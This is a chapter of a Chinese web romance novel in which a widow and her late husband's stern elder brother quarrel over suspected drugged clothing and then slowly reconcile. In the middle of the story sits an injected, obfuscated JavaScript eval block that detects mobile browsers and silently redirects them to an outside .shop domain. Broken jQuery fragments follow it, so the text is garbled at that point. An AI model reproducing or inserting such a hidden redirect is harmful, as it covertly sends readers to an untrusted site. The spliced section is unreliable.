17. 用强

作品:《引诱亡夫兄长后

    花照云的手脚瞬间冰凉。


    “什、什么药?”她一脸茫然地看着裴御,“这衣裳上有...药?”


    裴御端坐着,烛火下眼神晦暗,落在花照云身上,几乎要将她洞穿。


    花照云感觉被扒开衣裳,除去遮掩,露出最原始最本真的自己。


    她紧张得舔了舔唇,忽然倾身,靠近那如寒松般冷冽的男人。


    窗纸上映出一对交颈的鸳鸯,耳鬓厮磨。


    裴御眼瞳骤缩,下颌线瞬间绷紧,任由花照云温热濡湿的呼吸扑过耳后。


    “是不同。”


    花照云退回去,眼中是真诚的困惑:“大人身上只有淡淡的竹香,混进雪水的清冽,还有......”


    她又想凑过去,被裴御拦下:“还有一点点酒香,很是好闻,不像我身上的,当真有股奇怪的腊梅味。”


    “大人身子不适?”花照云的视线在他的眉眼流连,顺着锁骨钻进他的衣襟,“脸色这么红,药起效了?”


    “花照云!”


    裴御终于有了一丝慌乱:“你这样做,不要说是因那崔无妄有几分像裴延!”


    噼啪。


    烛火爆出灯花。


    花照云的心停了一瞬,紧绷的背脊软下去。


    原来他并不知道。


    还好,他没有一丝察觉。


    若不然,今日便是最后的机会,只得用强。


    花照云骤红了眼:“大人,您是在怀疑我?怀疑我下药勾引崔无妄?”


    她骤然起身,大颗大颗的泪珠从脸颊滚落:“若真有媚药,大人为何还能安然无恙地质问于我?不该早扒了衣裳扑过来?!”


    “花照云!”裴延从未听过这样直白污糟的话,额角青筋直跳,“记住你的身份!长兄如父!”


    “父?”


    花照云难以置信:“当真要我唤您父亲?”


    “那又如何!难道我不是女人?难道您不是男人?何况您身边没个伺候的人,积了这么些年,若是激起念头,不该如狼如虎地凶狠!”


    “好,好。许是大人修佛清心寡欲,没有正常男子的反应,这倒也说得过去,可即便有药,何以认定是我下的?我又怎知今日就一定能见到崔无妄?”


    “那崔无妄再像延郎,也不是他!我心中此生只有延郎!大人此言诛心,恕我不能认!”


    她几乎喘不过气来,满脸通红,像受了天大的委屈。


    裴御听着,脸上一阵红一阵白,心头一阵一阵的翻涌。


    可身下愈发不可收拾,他只得强压下怒气,狼狈地垂下头。


    缓了几息,无奈地叹口气。


    方才脑子一昏,那话就冲口而出了。


    明明不想这般贸贸然问她的。


    他喉结滚了滚,终究没再辩解,只淡漠道:“你不必置气,我只是就事论事,只要真相。”


    顿了顿,又说:“你是二弟的媳妇,为着他,我也要问一问。”


    “问?”


    花照云扯了扯唇角:“难道大人不是在审我?不是假定了是我勾引崔无妄?”


    “大人心中,我就是那样的人吗?”


    ......


    裴御长睫颤动两下,指尖不自觉攥紧了腰间玉佩:“一而再,再而三,偏偏都是他。”


    “那您该去问他,为何会次次出现在我面前,我也想知道。”


    花照云偏过头,自嘲地笑了下:“寡妇门前是非多,连大人这样清正的人也要不分青红皂白来问罪,甚至连半点证据都没有。”


    “大人说当我是家人,当真如此吗?”


    “这衣裳是我叫长公主府上的侍女去帮忙取的,最后却是崔无妄拿来,这中间,经过了哪些人的手,做了什么,我又如何知道?”


    裴御蹙紧了眉。


    “您瞧,即便我解释,您肯听吗?您又愿意信吗?”


    她起身掀开帘子:“秦侍卫,劳烦停车。”


    “你要去哪。”裴御紧紧凝着她。


    “不妨碍大人查案了。”花照云背对着他,“眼下长公主的仆从都还在,赶得上。”


    裴御冷声:“医馆。”


    花照云身形一滞。


    “不是说要去找医馆吗?”裴御缓和了语气,“被狗咬了要死人的。”


    花照云弯腰,头也不回地出去了。


    寒风中,只有一道淡淡的声音:“秦辰会替大人料理好的。”


    -


    那日之后,花照云照常去怀远院。


    只是她不再去院门口等他,除却一些诸如“大人”、“是”、“多谢”,再不跟他多说一句。


    偶尔她有个什么动静,他便不自觉屏息抬眸看去,却也等不来她问哪怕一个问题。


    只得将手边的清心经,抄了一遍又一遍。


    秦辰察觉到了,但也不好说什么,他的心思全放在裴御的手上。


    伤口早已愈合,只是颜色还有些暗红,怎么瞧也不像是被狗咬的。


    “今早碰见山亭院的崔先生,听说崔探花那日被人打了,是不是您做的?”


    裴御撇过头去,幽幽道:“不是。”


    他下意识摩挲手腕上那串佛珠,整个人渡着一层冷意。


    “诶?我都还没说是哪日呢!”


    秦辰嘀咕:“那崔探花真倒霉,好端端的赴宴,长公主也是宽厚人,怎就被人打了?京城的小娘子们听到了多伤心啊。”


    裴御:“不会说话别说话。”


    又道:“他有婚约。”


    “他未婚妻是寿春,没准是寿春的仇人干的!”


    寻香磕着瓜子,对花照云挤挤眼:“就这么晾着那位?”


    花照云哼了声,随手放下吃到一半的烤肉:“动不动查我们,这毛病得改。”


    “闹太僵会不会掰了?”


    寻香舍不得这颗大树。


    花照云:“知道我为何能走进那间书房吗?”


    “因为他太过清正,看似冷冰冰,其实心很软。”


    太过清正,心无尘垢,就想不到身边那位看似柔弱可欺的好学生,会为了达到目的,无耻到什么地步。


    “他会心软,会愧疚,会用一根尺衡量自己的言行得失,我不会。”


    院中有什么落地,响声传进屋内。


    秦辰趴在墙头,看到花照云主仆出来,激动招手:“二娘子院子里这颗柿子树结了好多果,看着就甜!”


    “要吃柿子去买就是!”


    寻香捡起地上摔烂的柿子,满眼心疼。


    秦辰跳下来,从怀里掏出一包黄油纸包,朝花照云傻笑。


    冒着热气的糯米糕一出来,花照云立刻就懂了。


    昨夜,她只待了半个时辰,回来时秦辰问一嘴,她说是糯米糕没有了想发了面今日再做些。


    “多谢秦侍卫。”她取出一块放在嘴里,皱了眉,“太甜了,哪家的?”


    话出口又觉不对,就这齁甜又死板的味道,放哪家都是自砸招牌。


    秦辰却搓了搓手,讪笑:“路边随便买的,二娘子不喜欢?”


    花照云看了看,不止味道不好,就连卖相也没有。


    但到底是他一片心意:“挺好的。”


    墙外忽然一声轻响,像是雪压竹枝的簌簌声。


    花照云望了一眼,见到秦辰眼巴巴看着她手里的油纸包,显然也想尝一尝。


    她往怀里一揣,歪头笑:“投桃报李,下次换家。”


    也算替他试毒了。


    秦辰:“公子病了。”


    “病了就去看大夫,我能做什么?”


    外头又是一声闷响。


    没记错的话,隔墙那丛竹子生的不好,没长几片叶啊。


    花照云刚收回目光,秦辰又问:“您等会还来不来?”


    她望了望天,只说有空再去。


    一墙之隔,秦辰垂着头,一步一挪到裴御面前:“公子,不幸辱使命。”


    “......听到了。”


    裴御垂眸望着那丛蔫头耷脑的枯竹,眼中流露出困惑:“是好吃...还是不好吃?”


    不等秦辰回答,他又自言自语:“她收下了,还嘱咐我去看大夫,应该是好吃。”


    秦辰不想打击他。


    “嗯,二娘子爱吃甜食,您天赋奇佳。”


    裴御点点头:“多谢。”


    实至名归。


    回头怀院院的书房里,又摆上了一水的糕点。


    都是一锅出来的。


    秦辰捻了块,甜的他龇牙咧嘴,忍不住委婉提醒:“您也不爱甜食,不如下次换些辣的?”


    “辣的...好吃?”裴御想不出辣味的糕点该是什么摸样。


    秦辰用力一点头,烤得外焦里嫩的羊腿,撒上西域来的香料,别提多香了。


    “好吃!二娘子定然喜欢!”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316274|197870||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    裴御又向外头望了眼,秦辰立刻道:“朝廷都要给您休沐放一天,二娘子学了这么久,天又下着雪,肯定也想好好睡一觉。”


    正说着,门外出现一道身影。


    裴御眼中亮起来,又低下头,捡起桌上的书一脸认真地看。


    一张书案,两人对坐,界限分明好似楚河汉界。


    只有那对叫夭夭和阿玉的小兔子无声望着,圆圆的眼中透出懵懂。


    那本记载着年关走礼的册子翻到最后,花照云忽然问秦辰:“前些日子寻香送来的话本呢?”


    秦辰连忙要去取,却听裴御说:“有些冷,再加一个炭盆。”


    抬眼一看,公子额角分明都渗出细汗。


    等秦辰出去了,裴御起身,在书架上翻翻找找,似不经意间瞧见那几本颜色鲜艳的书。


    他随手抽出一本,封面上只画着一枝红梅伸进墙里,倒是雅致。


    花照云眼前冷不丁出现这本书,抬头一看,裴御正垂眸看着她。


    “多谢大人。”


    她伸手去接,却抽不动——那人捏着书不放手。


    花照云皱眉,裴御:“我查过了。”


    原来他还是去查了。


    花照云心中有些失望,又觉得理所当然。


    若只凭她几句辩驳,他就相信,也就不会是百姓眼中的刚正不阿的青天御史了。


    花照云垂眸:“大人还没捉我归案,看来我是无罪了。”


    那衣裳上的药是从上次赏菊宴那个男人身上搜出来的,查来查去只会查到寿春头上。


    裴御看着她:“花氏的当铺、珍宝阁、金店和茶阁都雇了许多女子,八九岁的有、十三十四的也有,无一例外,都是像徐果越、徐栆策那样的孤女。”


    “她们同花氏签订契约,花氏提供住所,传授技艺,按月发放银钱,年底记功分红,互相之间以本名相称,无主仆之分,去留皆自由。”


    “此例,由花氏少当家亲自制定、推行,至今已逾六年。”


    他眼中像有星子,闪着柔和的光:“花照云,为何不告诉我。”


    为何要告诉他?


    她们曾跪在她面前感激涕零,可花照云不觉得这就是善事,也不觉得她就是善人。


    她只是运气好有了钱,而那些女孩也付出了劳动。


    她们是公平的。


    “这同大人又有什么关系呢?”


    裴御眼中一顿,眉目间忽然舒展开。


    佛说众生平等,可佛经里参不透的平等,却在她这里见到。


    他俯身探过那道楚河汉界,腰间的青玉佩划出一道弧度。


    他看着她说:“是我错了,向你道歉。”


    “大人不必如此,向来寡妇门前是非多,何况大人也还了我清白,我没有放在心上。”


    花照云捏住话本:“这册子学完了,也该将我的东西搬回去了。”


    裴御指尖微颤,那话本依然未松开。


    “大人?”


    他松开手,在花照云起身时忽然道:“你的眉拧着。”


    他眼中是清澈的困惑:“你没有放在心上,可你的眉拧着,你的话本也要般走。”


    花照云错愕,当年的状元郎,朝堂上的刚正御史,竟还有这样一面?


    “是,我心里不快活。”


    她说:“难道在被大人那样怀疑后,我还要捧着笑脸在大人身边团团转吗?”


    裴御抿唇,问:“要如何,才快活。”


    睡你。


    干吗?


    花照云心知这是不可能的,叹口气怅然道:“是我人微言轻,大人不肯信我也是情理之中,可我待延郎的心容不得半点侮辱!我不喜欢,不喜欢被人随意定罪,像这话本一样被人随意翻开,难道大人愿意被别人肆意窥探过往?”


    裴御的手倏地收紧。


    脑中一瞬有漫天寒箭破风而来,冷光蔽日,血腥扑鼻。


    再回神时,花照云一只脚踏出房门。


    桌上那册话本忘了带走,他随手翻开,眼神骤然定住。


    《冷面大伯掳我入怀》。


    再去翻书架,眼尾止不住地狂跳——


    《书房秘闻:我与兄长不得不说的二三事》、《纯情状元戏弟妻》、《霸道大伯强制爱:弟妹哪里逃》......


    一瞬间,那日她的话鬼使神差在脑中响起。


    “若我说想得到的是你,大人信吗?”